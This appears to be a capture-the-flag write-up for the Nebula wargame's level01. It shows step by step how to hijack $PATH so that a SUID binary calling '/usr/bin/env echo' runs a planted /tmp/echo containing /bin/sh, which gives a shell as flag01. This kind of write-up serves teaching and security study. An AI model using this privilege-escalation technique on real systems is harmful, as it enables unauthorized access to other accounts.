We start off with understanding what is being asked of us:
After SSH'ing as level01 and navigating to the /home/flag01 directory, we see that there's a file with SUID:
level01@nebula:~$ cd /home/flag01/ level01@nebula:/home/flag01$ ls -lah total 13K drwxr-x--- 2 flag01 level01 92 2011-11-20 21:22 . drwxr-xr-x 1 root root 80 2012-08-27 07:18 .. -rw-r--r-- 1 flag01 flag01 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag01 flag01 3.3K 2011-05-18 02:54 .bashrc -rwsr-x--- 1 flag01 level01 7.2K 2011-11-20 21:22 flag01 -rw-r--r-- 1 flag01 flag01 675 2011-05-18 02:54 .profile level01@nebula:/home/flag01$
We run the file:
level01@nebula:/home/flag01$ ./flag01 and now what? level01@nebula:/home/flag01$
Reading the above code and running the file, we get exactly what is expected.
The file issues the system command of "/usr/bin/env echo and now what".
This is poorly written code. Why?
Well, stating the /usr/bin/env <echo>, will use whatever <echo> executable appears first in the users $PATH. This means that the script could behave differently depending on who runs it. Because of this, if we were to update the users $PATH, we could actually cause different affects.
Let me demonstrate:
level01@nebula:/home/flag01$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games level01@nebula:/home/flag01$
As shown above, we echo the $PATH variable and are given a list of locations. This means that, if we were to execute a command, it would first look in this $PATH location.
We can also check to see where "echo" is located:
level01@nebula:/home/flag01$ which echo /bin/echo level01@nebula:/home/flag01$
"echo" is located in /bin. Our $PATH variable shows that /bin is located towards the end.
We can actually exploit this by updating the $PATH variable with a different "location" of "echo" which can elevate our privileges to the owner of flag01.
To demonstrate:
level01@nebula:/home/flag01$ export PATH=/tmp:$PATH level01@nebula:/home/flag01$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games level01@nebula:/home/flag01$
Now we have added "/tmp" to the beginning of our $PATH variable.
Additionally, we can create a new file called "echo" located in "/tmp" and make it executable:
level01@nebula:/home/flag01$ echo "/bin/sh" > /tmp/echo level01@nebula:/home/flag01$ chmod +x /tmp/echo level01@nebula:/home/flag01$ cat /tmp/echo /bin/sh level01@nebula:/home/flag01$
Now, when we execute the flag01 file, we will instead execute "echo" located in /tmp instead of /bin:
level01@nebula:/home/flag01$ ./flag01 sh-4.2$ id uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01) sh-4.2$ getflag You have successfully executed getflag on a target account sh-4.2$
Success! We now have shell as the owner of flag01 (flag01) due to SUID.
This shows the dangers of SUID and executing a command instead of directly where it is located.
Next, level02.
Thanks for reading!
-geoda